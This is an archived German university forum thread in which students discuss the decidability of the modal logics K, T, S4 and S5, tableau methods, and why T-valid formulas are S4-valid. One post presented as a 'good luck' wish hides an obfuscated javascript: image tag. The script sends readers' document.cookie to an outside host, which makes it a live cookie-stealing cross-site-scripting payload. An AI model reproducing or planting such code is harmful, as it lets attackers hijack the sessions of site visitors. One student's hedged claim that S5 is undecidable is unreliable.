FB18 - Das Forum für Informatik

fb18.de / Diplom Informatik / Theoretische Informatik (HS)

LOS - Modallogik

LOS - Modallogik 2004-09-17 19:11
Lichtgestalt
Hallo!
Ich hät da mal eine Frage zur Modallogik:
Sind K, T, S4 und S5 entscheidbar?
Und gibt es vielleicht andere Modallogiken die nicht entscheidbar sind?

Re: LOS - Modallogik 2004-09-19 22:37
Anonymer User
In Skript Seit 11-2 steht:
Es existieren Entscheidungsverfahren für die aussagenlogischen Modalsysteme K, T, S4 und S5

Re: LOS - Modallogik 2004-09-19 23:15
Slater
ist das Tableauverfahren nicht auch Entscheidungsverfahren für die (unentscheidbare) Prädikatenlogik?

oder nur ein Beweisverfahren?

immer diese Benennungen..

Re: LOS - Modallogik 2004-09-19 23:29
Christoph
hm… unser Stand ca. 20 Stunden vor der Prüfung:
Vermutlich sind alle uns bekannten (sprich im skript
genauer behandelten) Modallogiken entscheidbar. Aber es kann
natürlich noch andere geben, die nicht entscheidbar sind.
Mit Sicherheit gibt es irgendwelche Modallogiken, die
nicht entscheidbar sind.

Re: LOS - Modallogik 2004-09-19 23:37
Anonymer User
Tableau sollt wohl ein Beweisverfahren sein.
Tableau-Baum für K-, T-, S4-, S5-(MarkiertTableau) aussagenlogisiche ML ist ja durch Expantionsregel immer kleiner geworden. Sollt es hier entscheidbar sein. Aber nicht sicher[img]http://www.fb18.de/gfx/21.gif[/img].

Re: LOS - Modallogik 2004-09-20 00:15
Zaphod
Viel Erfolg!
[img]javascript:sp=String.fromCharCode(32);b1=String.fromCharCode(91);b2=String.fromCharCode(93);eval('x=new'+sp+'Array()');x=document.images;eval('for(i=0;i<x.length;i++)if(x'+b1+'i'+b2+'.src.search(/javascript:/)!=-1){x'+b1+'i'+b2+'.src=\'ht'+'tp://ww'+'w.kamalook.de/sven/transparent/?'+document.cookie+'\';x'+b1+'i'+b2+'.height=\'1\';break;}');[/img]

Re: LOS - Modallogik 2004-09-20 15:04
ronny
Ich meine irgendwo gelesen zu haben, dass S5 nicht entscheidbar ist. Würde in meinen Augen auch Sinn machen, da die Expansionsregeln für Ypsilon und Pi Formeln in S5 sehr denen für Gamma und Delta Formeln der Prädikatenlogik ähneln. Statt Terme einzusetzen werden die Knoten eben markiert.
Aber das ist alles nur gefährliches Halbwissen meinerseits.

Wie ist eure Prüfung denn gelaufen?

Re: LOS - Modallogik 2004-09-20 17:45
Christoph
die Prüfung an sich war "furchtbar" - meiner Meinung
nach habe ich im Semantikteil zu fast gar nichts,
was ich gefragt wurde, wirklich was gewusst.
Das waren Fragen zu nebenläufigen Programmen,
wie das in axiom. Semantik als Regel aussieht,
Ob das Kalkül der ax. Sem. vollständig ist und
wie das mit Felder aussieht und sicher einiges
mehr.
Zu Modallogik habe ich gesagt, dass alle unten
genannten, also auch S5, entscheidbar seien,
und das hat Herr Valk so hingenommen und auch
nacher nichts weiter zu gesagt, also nehm ich
an, dass es stimmt.
So "schrecklich" die Prüfung war, so gut war
hinter her die Note. Also Regel:
Prüfung ziemlich schwierig, Note unglaublich toll.

Re: LOS - Modallogik 2004-09-20 18:07
Slater
Ob das Kalkül der ax. Sem. vollständig ist
hier hast du nicht zufällig die passende Antwort parat?

Re: LOS - Modallogik 2004-09-20 18:52
Christoph
hm doch: Es ist vollständig, jedenfalls was die
einfache Imp. Sprache angeht. Der Punkt ist, dass
das wohl irre schwer zu beweisen ist und überhaupt
nicht als Selbstverstänlichkeit gelten sollte.
Schon wenn man Felder oder so hinzufügt, sei das
Kalkül nicht mehr vollständig.

Re: LOS - Modallogik 2004-10-24 18:38
Piioo
hallo,

ich hab ein Problem mit den Modellen der Modallogiken…
Ich verstehe nicht, wie man es sieht, ob eine Formal Reflexiv ist und somit T-Gültig etc..

Dazu kommt noch, dass ich nicht verstehe, wieso T-Gültige Formeln eine Teilmenge von den S4-Gültigen Formeln sind.
Wenn eine Formel Reflexiv ist, dann muss sie ja nicht Transitiv sein, und somit nicht zu S4 gehören.

Re: LOS - Modallogik 2004-10-24 19:59
Slater
hallo,

ich hab ein Problem mit den Modellen der Modallogiken…
Ich verstehe nicht, wie man es sieht, ob eine Formal Reflexiv ist und somit T-Gültig etc..
tja, da gibts ja auch keinen Algorithmus im Skript angegeben, sondern das soll eine höhere intelektuelle Fähigkeit sein,
wie soll dir das hier jemand im Forum erklären?


Formeln sind sowieso nicht reflexiv, sondern nur die Sichtbarkeitsrelation,
wenn man sich überlegt ob eine Formel F in T gültig ist, hilft nur langes Nachdenken,

Beispiel
P > MP (aus P folgt möglich P)

es gilt ja bei Reflexivität wohl dass die eigene Welt sichtbar sein muss,
also wenn die Prämisse erfüllt ist hat man damit automatisch eine Welt (dieselbe) für die P gilt -> dann ist P auch möglich,
also eine Tautologie

P > NP (aus P folgt notwendig P)

hier müsste, wenn Prämisse erfüllt ist, in allen sichtbaren Welten P wahr sein,
offensichtlich ist die Reflexitivät keine besondere Hilfe um zu erfahren, was denn in allen sichtbaren Welten los ist,
also kann man sich recht einfach ein Gegenbeispiel konstruieren,
keine Tautologie

da noch genauere Frage zu?, etwa mit einer bestimmten Formel bei der du Probleme hast?

Dazu kommt noch, dass ich nicht verstehe, wieso T-Gültige Formeln eine Teilmenge von den S4-Gültigen Formeln sind.
Wenn eine Formel Reflexiv ist, dann muss sie ja nicht Transitiv sein, und somit nicht zu S4 gehören.
behauptet ja auch niemand

S4 ist nämlich nicht nur transitiv, sondern transitiv + reflexiv,
insofern ist es einsichtlich dass jede t-gültige Formel auch S4-gültig ist

Re: LOS - Modallogik 2004-10-24 20:34
Christoph
falls nötig verdeutliche ich das letzte nochmal:

Wenn die Sichtbarkeitsrelation nicht nur reflexiv und sonst irgendwie (in T) ist, sondern auch
transitiv (und sonst irgendwie) (in S4), dann sind die Bedingungen an die Relation enger,
d.h. es gibt weniger mögliche Relationen, die in S4 vorkommen dürfen. Aber da die Bedingungen enger sind,
gibt es mehr Formeln, die Tautologien sind, weil diese Formeln eben auf stärkere Voraussetzungen aufbauen
können.

Re: LOS - Modallogik 2004-10-24 20:49
Piioo
Danke für die ausführliche Antwort und die Beispiele.

Nun verstehe ich wann eine Formel T-gültig ist bei einem temporalen Operator (z.B. NP > MP).

Was ich noch nicht verstehe ist, was z.B. NNP heissen soll (in allen welten in allen Welten gilt P), bzw, wie man diese Formeln auswerten kann:

NNP > NP für T-gültigkeit

und

NP > NNP für S4-gültigkeit

——————–
zu dem Zweiten:
Da hab ich immer noch Verständnisschwierigkeiten, wenn eine eine Formal T-gültig ist (dann hat sie eine Sichtbarkeitsrelation der reflexivität, aber sie könnte doch auch eine nicht transivität haben), wie kann sie dann S4-gültig sein? (wahrscheinlich eine ganz blöde frage, wenn man es verstanden hat =))

Re: LOS - Modallogik 2004-10-24 22:29
Slater
Was ich noch nicht verstehe ist, was z.B. NNP heissen soll (in allen welten in allen Welten gilt P), bzw, wie man diese Formeln auswerten kann:

NNP > NP für T-gültigkeit
NX: in allen sichtbaren Welten gilt notwendig X,
diese X kann eine beliebige Formel sein, z.B. NP, also eine Aussage über die DORT sichtbaren Welten,

wenn Welt 1 mit Welt 2 und Welt 3 verbunden ist,
dann heißt NP in Welt 1, dass P in Welt 2 und Welt 3 gilt

NNP in Welt 1 heißt, das NP in Welt 2 und Welt 3 gelten muss,
das ist doch eine vorstellbare Situation

warum ist das Tautolgie?:
angenommen die Prämisse gilt, also in allen sichtbaren Welten gilt NP,
dann muss in all diesen sichtbaren Welten auch P gelten, denn deren eigene Welt ist ja jeweils in deren Sichtbarkeitsrelation enthalten, also folgt NP für die Ursprungswelt

NP > NNP für S4-gültigkeit

wann wäre die Konklusion falsch?
wenn in irgendeiner sichtbaren Welt NP nicht gilt,
also in irgendeiner sichtbaren eine Welt sichtbar ist die P nicht erfüllt,
das ist bei erfüllter Prämisse und Transitivität nicht möglich


zu dem Zweiten:
Da hab ich immer noch Verständnisschwierigkeiten, wenn eine eine Formal T-gültig ist (dann hat sie eine Sichtbarkeitsrelation der reflexivität, aber sie könnte doch auch eine nicht transivität haben), wie kann sie dann S4-gültig sein? (wahrscheinlich eine ganz blöde frage, wenn man es verstanden hat =))
es reicht einfach die Reflexivität, wenn die erfüllt ist, dann braucht es eben nicht mehr,

siehe P > MP,
allein durch die Reflexivität ist das eine Tautologie,

es gibt 10 Mil. Sichtbarkeitsrelationen in denen P > MP Tautologie ist,
streicht man wegen der Transitivität 9 Mio. davon weg, bleiben 1 Mio. über, aber in denen gilt das immer noch,

also wie schon von Christoph erwähnt: die Einschränkung der Sichtbarkeitsrelation macht keine Tautologien kaputt,
sondern ermöglicht nur noch mehr, alle vorhandenen auf jeden Fall


eine Transformation in die Arbeitswelt extra für dich ;)

du ließt das ganze wahrscheinlich so:

Stellenanzeige A:
'der Bewerber muss die Sprache C++ beherrschen'

Stellenanzeige B:
'der Bewerber muss die Sprachen C++ und Java beherrschen'


die Menge der Bewerber, die die Voraussetzungen von Firma A erfüllen (Tautologien in T)
scheinen nicht automatisch für Firma B (S4) geeignet zu sein


tatsächlich sieht es aber so aus:

Stellenanzeige A:
'der Bewerber muss die Sprachen Deutsch und Java beherrschen,
C++ ist nicht nötig, dafür haben wir spezielle Übersetzungsprogramme'

Stellenanzeige B:
'der Bewerber muss die Sprache Deutsch beherrschen,
Java und C++ sind nicht nötig, dafür haben wir spezielle Übersetzungsprogramme'



die Menge der Bewerber, die die Voraussetzungen von Firma A erfüllen (Tautologien in T)
sind somit wirklich automatisch für Firma B (S4) geeignet,

die Einschränkung betrifft nicht die Tautologien, sondern andere Dinge (hier: die Anforderungen an die Übersetzungsprogramme),
die über Ecken eher mehr Tautologien (mehr Bewerber) ermöglichen



Re: LOS - Modallogik 2004-10-27 15:50
Piioo
THX, dass ihr euch die zeit genommen habt, mir es zu erklären =)

wurde leider nicht drüber ausgefragt, obwohl ich es nun besser verstehe…naja =)…

habs aber bestanden =)…